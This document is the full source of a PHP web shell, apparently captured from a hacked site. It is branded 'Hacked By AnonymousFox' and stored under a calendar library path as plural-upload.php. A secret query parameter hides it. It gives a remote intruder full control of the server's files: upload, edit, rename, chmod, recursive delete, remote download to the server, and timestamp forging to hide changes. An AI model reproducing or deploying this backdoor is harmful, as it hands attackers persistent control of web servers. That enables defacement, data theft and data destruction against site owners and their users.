Hacked By AnonymousFox

Current Path : C:/AppServ/www/th/lib/calendar/
Upload File :
Current File : C:/AppServ/www/th/lib/calendar/plural-upload.php

<?php
header("content-Type: text/html; charset=utf-8");
error_reporting(0);
function strdir($str)
{
	return str_replace(array('\\', '//', '%27', '%22'), array('/', '/', '\'', '"'), chop($str));
}
function chkgpc($array)
{
	foreach ($array as $key => $var) {
		$array[$key] = is_array($var) ? chkgpc($var) : stripslashes($var);
	}
	return $array;
}
function clearCache(){
	$res = "";
	//OPcache cleared
	if(function_exists('opcache_reset')){		
		if (opcache_reset()){
			$res .= "opcache";
		}
	}
	return $res;
}
$myfile = $_SERVER['SCRIPT_FILENAME'] ? strdir($_SERVER['SCRIPT_FILENAME']) : strdir(__FILE__);
$myfile = strpos($myfile, 'eval()') ? array_shift(explode('(', $myfile)) : $myfile;
if (!empty($_COOKIE['dir'])) {
	define('THISDIR', strdir(chop($_COOKIE['dir']) . '/'));
}else {
	define('THISDIR', strdir(dirname(__FILE__) . '/'));
}
define('EXEDIR', strdir(dirname(__FILE__) . '/'));
define('ROOTDIR', strdir(strtr($myfile, array(strdir($_SERVER['PHP_SELF']) => '')) . '/'));
if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
    $_POST = chkgpc($_POST);
}
$win = substr(PHP_OS, 0, 3) == 'WIN' ? true : false;
$msg = 'Black Files System';

function filew($filename, $filedata, $filemode)
{
	if ((!is_writable($filename)) && file_exists($filename)) {
		chmod($filename, 0666);
	}
	$handle = fopen($filename, $filemode);
	$key = fputs($handle, $filedata);
	fclose($handle);
	return $key;
}

function filer($filename)
{
	$handle = fopen($filename, 'r');
	$filedata = fread($handle, filesize($filename));
	fclose($handle);
	return $filedata;
}

function fileu($filenamea, $filenameb)
{
	$key = move_uploaded_file($filenamea, $filenameb) ? true : false;
	if (!$key) {
		$key = copy($filenamea, $filenameb) ? true : false;
	}
	return $key;
}

function filed($filename)
{
	if (!file_exists($filename)) return false;
	ob_end_clean();
	$name = basename($filename);
	$array = explode('.', $name);
	header('Content-type: application/x-' . array_pop($array));
	header('Content-Disposition: attachment; filename=' . $name);
	header('Content-Length: ' . filesize($filename));
	@readfile($filename);
	exit;
}

function showdir($dir)
{
	$dir = strdir($dir . '/');
	if (($handle = @opendir($dir)) == NULL) return false;
	$array = array();
	while (false !== ($name = readdir($handle))) {
		if ($name == '.' || $name == '..') continue;
		$path = $dir . $name;
		$name = strtr($name, array('\'' => '%27', '"' => '%22'));
		if (is_dir($path)) {
			$array['dir'][$path] = $name;
		} else {
			$array['file'][$path] = $name;
		}
	}
	closedir($handle);
	return $array;
}

function deltree($dir)
{
	$handle = @opendir($dir);
	while (false !== ($name = @readdir($handle))) {
		if ($name == '.' || $name == '..') continue;
		$path = $dir . $name;
		@chmod($path, 0777);
		if (is_dir($path)) {
			deltree($path . '/');
		} else {
			@unlink($path);
		}
	}
	@closedir($handle);
	return @rmdir($dir);
}

function size($bytes)
{
	if ($bytes < 1024) return $bytes . ' B';
	$array = array('B', 'K', 'M', 'G', 'T');
	$floor = floor(log($bytes) / log(1024));
	return sprintf('%.2f ' . $array[$floor], ($bytes / pow(1024, floor($floor))));
}

function find($array, $string)
{
	foreach ($array as $key) {
		if (stristr($string, $key)) return true;
	}
	return false;
}

function subeval()
{
	if (isset($_POST['getpwd'])) {
		echo '<input type="hidden" name="getpwd" value="' . $_POST['getpwd'] . '">';
	}
	if (isset($_POST['pass'])) {
		echo '<input type="hidden" name="pass" value="' . $_POST['pass'] . '">';
        if (isset($_POST[$_POST['pass']])) {
            echo '<input type="hidden" name="' . $_POST['pass'] . '" value="' . $_POST[$_POST['pass']] . '">';
        }
	}
	
	if (isset($_POST['check'])) {
		echo '<input type="hidden" name="check" value="' . $_POST['check'] . '">';
	}
	return true;
}

if (!empty($_POST['go'])&&$_POST['go'] == 'down') {
    $downfile = $fileb = strdir($_POST['godir'] . '/' . $_POST['govar']);
    if (!filed($downfile)) {
        $msg = '<h1>下载文件不存在</h1>';
    }
}
$title = ($_SERVER['SERVER_ADDR'] ? $_SERVER['SERVER_ADDR'] : gethostbyname($_SERVER['SERVER_NAME'])) . ' - ' . php_uname() . ' - whoami(' . get_current_user() . ') - 【uid(' . getmyuid() . ') gid(' . getmygid() . ')】<br>php版本:'.PHP_VERSION;

if (empty($_GET["s"]) || $_GET["s"] != "b") exit();
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf8" />
	<style type="text/css">
		*{margin:0;padding:0}body{background:#ccc;color:#333;text-align:left;word-wrap:break-word;font-size:13px;font-family:Verdana,Arial,SimSun,sans-serif;word-break:break-all}a{color:#000;vertical-align:middle;text-decoration:none}a:hover{color:red;text-decoration:underline}p{padding:1px;line-height:1.6em}h1{display:inline;color:#cd3333;vertical-align:middle;font-size:13px}h2{display:inline;color:#008b45;vertical-align:middle;font-size:13px}form{display:inline}input,select{vertical-align:middle}input[type=text],textarea{padding:1px;font-family:Courier New,Verdana,sans-serif}input[type=button],input[type=submit]{height:21px}.tag{margin-left:10px;padding-top:5px;height:25px;background:threedface;text-align:center}.tag a{display:inline-block;padding-top:5px;width:90px;height:20px;background:#fafafa;color:#333;font-weight:700;font-size:15px}.tag a.current,.tag a:hover{background:#eee685;color:#000;text-decoration:none}.main{margin:0 auto;padding:10px;width:963px}.outl{border-color:#fff #666 #666 #fff;border-style:solid;border-width:1px}.toptag{padding:5px;background:#293f5f;color:#fff;text-align:left;font-weight:700}.footag{padding:5px;background:#999;color:#000;text-align:center;font-weight:700}.msgbox{padding:5px;background:#eee685;vertical-align:middle;text-align:center}.actall{padding:3px;border-bottom:1px solid #999;background:#f9f6f4;vertical-align:middle;text-align:center;font-size:15px}.tables{width:100%}.tables th{padding:2px;border-color:#fff #666 #666 #fff;border-style:solid;border-width:1px;background:threedface;text-align:left}.tables td{padding-left:2px;height:19px;background:#f9f6f4}
	</style>
	<script type="text/javascript">
		function $(ID) {
			return document.getElementById(ID);
		}

		function sd(str) {
			str = str.replace(/%22/g, '"');
			str = str.replace(/%27/g, "'");
			return str;
		}

		function cd(dir) {
			dir = sd(dir);
			$('dir').value = dir;			
			setCookie('dir', dir, 1);
			$('frm').submit();
		}
		function setCookie(name, value, days) {
			var expires = "";
			if (days) {
				var date = new Date();
				date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
				expires = "; expires=" + date.toUTCString();
			}
			document.cookie = name + "=" + (value || "")  + expires + "; path=/";
		}
		function sa(form) {
			for (var i = 0; i < form.elements.length; i++) {
				var e = form.elements[i];
				if (e.type == 'checkbox') {
					if (e.name != 'chkall') {
						e.checked = form.chkall.checked;
					}
				}
			}
		}

		function go(a, b) {
			b = sd(b);
			$('go').value = a;
			$('govar').value = b;
			if (a == 'editor') {
				$('gofrm').target = "_blank";
			} else {
				$('gofrm').target = "";
			}
			if (a == 'clear') {
				$('act').value = a;
				$('frm1').submit();
				return;
			}
			$('gofrm').submit();
		}

		function nf(a, b) {
			re = prompt("新建名", b);
			if (re) {
				$('go').value = a;
				$('govar').value = re;
				$('gofrm').submit();
			}
		}

		function dels(a) {
			if (a == 'b') {
				var msg = "所选文件";
				$('act').value = a;
			} else {
				var msg = "目录";
				$('act').value = 'deltree';
				$('var').value = a;
			}
			if (confirm("确定要删除" + msg + "吗")) {
				$('frm1').submit();
			}
		}

		function txts(m, p, a) {
			p = sd(p);
			re = prompt(m, p);
			if (re) {
				$('var').value = re;
				$('act').value = a;
				$('frm1').submit();
			}
		}

		function acts(p, a, f) {
			p = sd(p);
			f = sd(f);
			re = prompt(f, p);
			if (re) {
				$('var').value = re + '|x|' + f;
				$('act').value = a;
				$('frm1').submit();
			}
		}
	</script>
	<title><?php echo PHP_VERSION . ' - ' . date('Y-m-d H:i:s', time()) ?></title>
</head>

<body>
	<div class="main">
		<div class="outl">
			<div class="toptag"><?=$title?></div>
			<?php
			@ini_set('max_execution_time', 20000);
			@ini_set('memory_limit', '256M');
			$nowdir = isset($_POST['dir']) ? strdir(chop($_POST['dir']) . '/') : THISDIR;
			echo '<form name="gofrm" id="gofrm" method="POST">';
			subeval();
			echo '<input type="hidden" name="go" id="go" value="">';
			echo '<input type="hidden" name="godir" id="godir" value="' . $nowdir . '">';
			echo '<input type="hidden" name="govar" id="govar" value="">';
			echo '</form>';
            $go = !empty($_POST['go']) ? $_POST['go'] : "";
			switch ($go) {
				case "edit":
				case "editor":
					$file = strdir($_POST['godir'] . '/' . $_POST['govar']);
					$iconv = function_exists('iconv');
					if (!file_exists($file)) {
						$msg = '【新建文件】';
					} else {
						$code = filer($file);
						$chst = '默认';
						if (preg_match('~[\x{4e00}-\x{9fa5}]+~u', $code) && $iconv) {
							$chst = 'utf-8';
							$code = @iconv('UTF-8', 'utf-8//IGNORE', $code);
						}
						$size = size(filesize($file));
						$msg = '【文件属性 ' . substr(decoct(fileperms($file)), -4) . '】 【文件大小 ' . $size . '】 【文件编码 ' . $chst . '】';
					}
					echo base64_decode('PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQp2YXIgbiA9IDA7DQpmdW5jdGlvbiBzZWFyY2goc3RyKSB7DQoJdmFyIHR4dCwgaSwgZm91bmQ7DQoJaWYoc3RyID09ICIiKSByZXR1cm4gZmFsc2U7DQoJdHh0ID0gJCgnZmlsZWNvZGUnKS5jcmVhdGVUZXh0UmFuZ2UoKTsNCglmb3IoaSA9IDA7IGkgPD0gbiAmJiAoZm91bmQgPSB0eHQuZmluZFRleHQoc3RyKSkgIT0gZmFsc2U7IGkrKyl7DQoJCXR4dC5tb3ZlU3RhcnQoImNoYXJhY3RlciIsIDEpOw0KCQl0eHQubW92ZUVuZCgidGV4dGVkaXQiKTsNCgl9DQoJaWYoZm91bmQpeyB0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAtMSk7IHR4dC5maW5kVGV4dChzdHIpOyB0eHQuc2VsZWN0KCk7IHR4dC5zY3JvbGxJbnRvVmlldygpOyBuKys7IH0NCgllbHNlIHsgaWYgKG4gPiAwKSB7IG4gPSAwOyBzZWFyY2goc3RyKTsgfSBlbHNlIGFsZXJ0KHN0ciArICIuLi4gTm90LUZpbmQiKTsgfQ0KCXJldHVybiBmYWxzZTsNCn0NCjwvc2NyaXB0Pg==');                   
					echo '<div class="msgbox"><input name="keyword" id="keyword" type="text" style="width:138px;height:15px;"><input type="button" value="IE查找内容" onclick="search($(\'keyword\').value);"> - ' . $msg . '</div>';
					echo '<form name="editfrm" id="editfrm" method="POST">';
					subeval();
					echo '<input type="hidden" name="go" value=""><input type="hidden" name="act" id="act" value="edit">';
					echo '<input type="hidden" name="dir" id="dir" value="' . THISDIR . '">';
					echo '<div class="actall">文件 <input type="text" name="filename" value="' . $file . '" style="width:528px;"> ';
					if ($iconv) {
						echo '编码 <select name="tostr">';
						$selects = array('normal' => '默认', 'utf' => 'utf-8');
						foreach ($selects as $var => $name) {
							echo '<option value="' . $var . '"' . ($name == $chst ? ' selected' : '') . '>' . $name . '</option>';
						}
						echo '</select>';
					}
					echo '</div><div class="actall"><textarea name="filecode" id="filecode" style="width:698px;height:358px;">' . htmlspecialchars($code) . '</textarea></div></form>';
					echo '<div class="actall" style="padding:5px;padding-right:68px;"><input type="button" onclick="$(\'editfrm\').submit();" value="保存" style="width:80px;"> ';
					echo '<form name="backfrm" id="backfrm" method="POST"><input type="hidden" name="go" value=""><input type="hidden" name="dir" id="dir" value="' . dirname(__FILE__) . '">';
					subeval();
					echo '<input type="button" onclick="$(\'backfrm\').submit();" value="返回" style="width:80px;"></form></div>';
					break;

				case "upfiles":
					$updir = isset($_POST['updir']) ? $_POST['updir'] : $_POST['godir'];
					$msg = '【最大上传文件 ' . get_cfg_var("upload_max_filesize") . '】 【POST最大提交数据 ' . get_cfg_var("post_max_size") . '】';
					$max = 10;
					if (isset($_FILES['uploads']) && isset($_POST['renames'])) {
						$uploads = $_FILES['uploads'];
						$msgs = array();
						for ($i = 1; $i < $max; $i++) {
							if ($uploads['error'][$i] == UPLOAD_ERR_OK) {
								$rename = $_POST['renames'][$i] == '' ? $uploads['name'][$i] : $_POST['renames'][$i];
								$filea = $uploads['tmp_name'][$i];
								$fileb = strdir($updir . '/' . $rename);
								$msgs[$i] = fileu($filea, $fileb) ? '<br><h2>上传成功 ' . $rename . '</h2>' : '<br><h1>上传失败 ' . $rename . '</h1>';
							}
						}
					}
					echo '<div class="msgbox">' . $msg . '</div>';
					echo '<form name="upsfrm" id="upsfrm" method="POST" enctype="multipart/form-data">';
					subeval();
					echo '<input type="hidden" name="go" value="upfiles"><input type="hidden" name="act" id="act" value="upload">';
					echo '<div class="actall"><p>上传到目录 <input type="text" name="updir" style="width:398px;" value="' . $updir . '"></p>';
					for ($i = 1; $i < $max; $i++) {
						echo '<p>附件' . $i . ' <input type="file" name="uploads[' . $i . ']" style="width:300px;"> 重命名 <input type="text" name="renames[' . $i . ']" style="width:128px;"> ' . $msgs[$i] . '</p>';
					}
					echo '</div></form><div class="actall" style="padding:8px;padding-right:68px;"><input type="button" onclick="$(\'upsfrm\').submit();" value="上传" style="width:80px;"> ';
					echo '<form name="backfrm" id="backfrm" method="POST"><input type="hidden" name="go" value=""><input type="hidden" name="dir" id="dir" value="' . $updir . '">';
					subeval();
					echo '<input type="button" onclick="$(\'backfrm\').submit();" value="返回" style="width:80px;"></form></div>';
					break;

				default:

					if (isset($_FILES['upfile'])) {
						if ($_FILES['upfile']['name'] == '') {
							$msg = '<h1>请选择文件</h1>';
						} else {
							$rename = $_POST['rename'] == '' ? $_FILES['upfile']['name'] : $_POST['rename'];
							$filea = $_FILES['upfile']['tmp_name'];
							$fileb = strdir($nowdir . $rename);
							$msg = fileu($filea, $fileb) ? '<h2>上传文件' . $rename . '成功</h2>' : '<h1>上传文件' . $rename . '失败</h1>';
						}
					}

					if (isset($_POST['act'])) {
						switch ($_POST['act']) {
							case "b":
								if (!$_POST['files']) {
									$msg = '<h1>请选择文件</h1>';
								} else {
									$i = 0;
									foreach ($_POST['files'] as $filename) {
										$i += @unlink(strdir($nowdir . $filename)) ? 1 : 0;
									}
									$msg = $i ? '<h2>共删除 ' . $i . ' 个文件成功</h2>' : '<h1>共删除 ' . $i . ' 个文件失败</h1>';
								}
								break;
							case "c":
								if (!$_POST['files']) {
									$msg = '<h1>请选择文件 ' . $_POST['var'] . '</h1>';
								} elseif (!preg_match("/^[0-7]{4}$/", $_POST['var'])) {
									
									$msg = '<h1>属性值错误</h1>';
								} else {
									$i = 0;
									foreach ($_POST['files'] as $filename) {
										$i += @chmod(strdir($nowdir . $filename), base_convert($_POST['var'], 8, 10)) ? 1 : 0;
									}
									$msg = $i ? '<h2>共 ' . $i . ' 个文件修改属性为' . $_POST['var'] . '成功</h2>' : '<h1>共 ' . $i . ' 个文件修改属性为' . $_POST['var'] . '失败</h1>';
								}
								break;
							case "d":
								if (!$_POST['files']) {
									$msg = '<h1>请选择文件 ' . $_POST['var'] . '</h1>';
								} elseif (!preg_match('/(\d+)-(\d+)-(\d+) (\d+):(\d+):(\d+)/', $_POST['var'])) {
									$msg = '<h1>时间格式错误 ' . $_POST['var'] . '</h1>';
								} else {
									$i = 0;
									foreach ($_POST['files'] as $filename) {
										$i += @touch(strdir($nowdir . $filename), strtotime($_POST['var']), strtotime($_POST['var'])) ? 1 : 0;
									}
									$msg = $i ? '<h2>共 ' . $i . ' 个文件修改时间为' . $_POST['var'] . '成功</h2>' : '<h1>共 ' . $i . ' 个文件修改时间为' . $_POST['var'] . '失败</h1>';
								}
								break;
							case "e":
								$path = strdir($nowdir . $_POST['var'] . '/');
								if (file_exists($path)) {
									$msg = '<h1>目录已存在 ' . $_POST['var'] . '</h1>';
								} else {
									$msg = @mkdir($path, 0777) ? '<h2>创建目录 ' . $_POST['var'] . ' 成功</h2>' : '<h1>创建目录 ' . $_POST['var'] . ' 失败</h1>';
								}
								break;
							case "f":
								$context = array('http' => array('timeout' => 30));
								if (function_exists('stream_context_create')) {
									$stream = stream_context_create($context);
								}
								$data = @file_get_contents($_POST['var'], false, $stream);
								$filename = array_pop(explode('/', $_POST['var']));
								if ($data) {
									$msg = filew(strdir($nowdir . $filename), $data, 'wb') ? '<h2>下载 ' . $filename . ' 成功</h2>' : '<h1>下载 ' . $filename . ' 失败</h1>';
								} else {
									$msg = '<h1>下载失败或不支持下载</h1>';
								}
								break;
							case "rf":
								$files = explode('|x|', $_POST['var']);
								if (count($files) != 2) {
									$msg = '<h1>输入错误</h1>';
								} else {
									$msg = @rename(strdir($nowdir . $files[1]), strdir($nowdir . $files[0])) ? '<h2>重命名 ' . $files[1] . ' 为 ' . $files[0] . ' 成功</h2>' : '<h1>重命名 ' . $files[1] . ' 为 ' . $files[0] . ' 失败</h1>';
								}
								break;
							case "pd":
								$files = explode('|x|', $_POST['var']);
								if (count($files) != 2) {
									$msg = '<h1>输入错误</h1>';
								} else {
									$path = strdir($nowdir . $files[1]);
									$msg = @chmod($path, base_convert($files[0], 8, 10)) ? '<h2>修改' . $files[1] . '属性为' . $files[0] . '成功</h2>' : '<h1>修改' . $files[1] . '属性为' . $files[0] . '失败</h1>';
								}
								break;
							case "edit":
								if (isset($_POST['filename']) && isset($_POST['filecode'])) {
									if ($_POST['tostr'] == 'utf') {
										$_POST['filecode'] = @iconv('utf-8//IGNORE', 'UTF-8', $_POST['filecode']);
									}
									$mtime = date('Y-m-d H:i:s', filemtime($_POST['filename']));
									$msg = filew($_POST['filename'], $_POST['filecode'], 'w') ? '<h2>保存成功 ' . $_POST['filename'] . '</h2>' : '<h1>保存失败 ' . $_POST['filename'] . '</h1>';
									@touch(strdir($_POST['filename']), strtotime($mtime), strtotime($mtime));
								}
								break;
							case "deltree":
								$deldir = strdir($nowdir . $_POST['var'] . '/');
								if (!file_exists($deldir)) {
									$msg = '<h1>目录 ' . $_POST['var'] . ' 不存在</h1>';
								} else {
									$msg = deltree($deldir) ? '<h2>删除目录 ' . $_POST['var'] . ' 成功</h2>' : '<h1>删除目录 ' . $_POST['var'] . ' 失败</h1>';
								}
								break;
							case "clear":
								$res = clearCache();
								if($res != ""){
									$msg = $res.'缓存清理完成';
								}else{
									$msg = '没有可清理缓存';
								}
						}
					}

					$chmod = substr(decoct(fileperms($nowdir)), -4);
					if (!$chmod) {
						$msg .= ' - <h1>无法读取目录</h1>';
					}

					$array = showdir($nowdir);
					$thisurl = strdir('/' . strtr($nowdir, array(ROOTDIR => '')) . '/');
					$nowdir = strtr($nowdir, array('\'' => '%27', '"' => '%22'));
					echo '<div class="msgbox">' . $msg . '</div>';
					echo '<div class="actall"><form name="frm" id="frm" method="POST">';
					subeval();
					echo (is_writable($nowdir) ? '<h2>路径</h2>' : '<h1>路径</h1>') . ' <input type="text" name="dir" id="dir" style="width:508px;" value="' . strdir($nowdir . '/') . '"> ';
					echo '<input type="button" onclick="$(\'frm\').submit();" style="width:50px;" value="转到"> ';
					echo '<input type="button" onclick="cd(\'' . ROOTDIR . '\');" style="width:68px;" value="根目录"> ';
					echo '<input type="button" onclick="cd(\'' . EXEDIR . '\');" style="width:68px;" value="程序目录"> ';
					echo '<input type="button" onclick="go(\'clear\',\'clear\');" style="width:68px;" value="清缓存"> ';
					echo '</form></div><div class="actall">';

					echo '<input type="button" value="新建文件" onclick="nf(\'edit\',\'newfile.php\');" style="width:68px;"> ';
					echo '<input type="button" value="创建目录" onclick="txts(\'目录名\',\'newdir\',\'e\');" style="width:68px;"> ';
					echo '<input type="button" value="下载文件" onclick="txts(\'下载文件到当前目录\',\'http://www.baidu.com/index.html\',\'f\');" style="width:68px;"> ';
					echo '<input type="button" value="批量上传" onclick="go(\'upfiles\',\'' . $nowdir . '\');" style="width:68px;"> ';

					echo '<form name="upfrm" id="upfrm" method="POST" enctype="multipart/form-data">';
					subeval();
					echo '<input type="hidden" name="dir" id="dir" value="' . $nowdir . '">';
					echo '<input type="file" name="upfile" style="width:286px;height:21px;"> ';
					echo '<input type="button" onclick="$(\'upfrm\').submit();" value="上传" style="width:50px;"> ';
					echo '上传重命名为 <input type="text" name="rename" style="width:128px;">';
					echo '</form></div>';

					echo '<form name="frm1" id="frm1" method="POST"><table class="tables">';
					subeval();
					echo '<input type="hidden" name="dir" id="dir" value="' . $nowdir . '">';
					echo '<input type="hidden" name="act" id="act" value="">';
					echo '<input type="hidden" name="var" id="var" value="">';
					echo '<th>文件名称</th><th style="width:8%">操作</th><th style="width:5%">属性</th><th style="width:17%">创建时间</th><th style="width:17%">修改时间</th><th style="width:8%">下载</th>';
					if ($array) {                        
						$dnum = $fnum = 0;
                        if (!empty($array['dir'])) {
                            asort($array['dir']);
                            
                            foreach ($array['dir'] as $path => $name) {
                                $prem = substr(decoct(fileperms($path)), -4);
                                $ctime = date('Y-m-d H:i:s', filectime($path));
                                $mtime = date('Y-m-d H:i:s', filemtime($path));
                                echo '<tr>';
                                echo '<td><a href="javascript:cd(\'' . $nowdir . $name . '\');"><b>' . strtr($name, array('%27' => '\'', '%22' => '"')) . '</b></a></td>';
                                echo '<td><a href="javascript:dels(\'' . $name . '\');">删除</a> ';
                                echo '<a href="javascript:acts(\'' . $name . '\',\'rf\',\'' . $name . '\');">改名</a></td>';
                                echo '<td><a href="javascript:acts(\'' . $prem . '\',\'pd\',\'' . $name . '\');">' . $prem . '</a></td>';
                                echo '<td>' . $ctime . '</td>';
                                echo '<td>' . $mtime . '</td>';
                                echo '<td>-</td>';
                                echo '</tr>';
                                $dnum++;
                            }
                        }
                        if (!empty($array['file'])) {
                            asort($array['file']);
                            foreach ($array['file'] as $path => $name) {
                                $prem = substr(decoct(fileperms($path)), -4);
                                $ctime = date('Y-m-d H:i:s', filectime($path));
                                $mtime = date('Y-m-d H:i:s', filemtime($path));
                                $size = size(filesize($path));
                                echo '<tr>';
                                echo '<td><input type="checkbox" name="files[]" value="' . $name . '"><a target="_blank" href="' . $thisurl . $name . '">' . strtr($name, array('%27' => '\'', '%22' => '"')) . '</a></td>';
                                echo '<td><a href="javascript:go(\'edit\',\'' . $name . '\');">编辑</a> ';
                                echo '<a href="javascript:acts(\'' . $name . '\',\'rf\',\'' . $name . '\');">改名</a></td>';
                                echo '<td><a href="javascript:acts(\'' . $prem . '\',\'pd\',\'' . $name . '\');">' . $prem . '</a></td>';
                                echo '<td>' . $ctime . '</td>';
                                echo '<td>' . $mtime . '</td>';
                                echo '<td align="right"><a href="javascript:go(\'down\',\'' . $name . '\');">' . $size . '</a></td>';
                                echo '</tr>';
                                $fnum++;
                            }
                        }
						
					}
					unset($array);
					echo '</table>';
					echo '<div class="actall" style="text-align:left;">';
					echo '<input type="checkbox" id="chkall" name="chkall" value="on" onclick="sa(this.form);"> ';
					echo '<input type="button" value="删除" style="width:50px;" onclick=\'dels("b");\'> ';
					echo '<input type="button" value="属性" style="width:50px;" onclick=\'txts("属性值","0666","c");\'> ';
					echo '<input type="button" value="时间" style="width:50px;" onclick=\'txts("修改时间","' . $mtime . '","d");\'> ';
					echo '目录[' . $dnum . '] - 文件[' . $fnum . '] - 属性[' . $chmod . ']</div></form>';
					break;
			}

Hacked By AnonymousFox1.0, Coded By AnonymousFox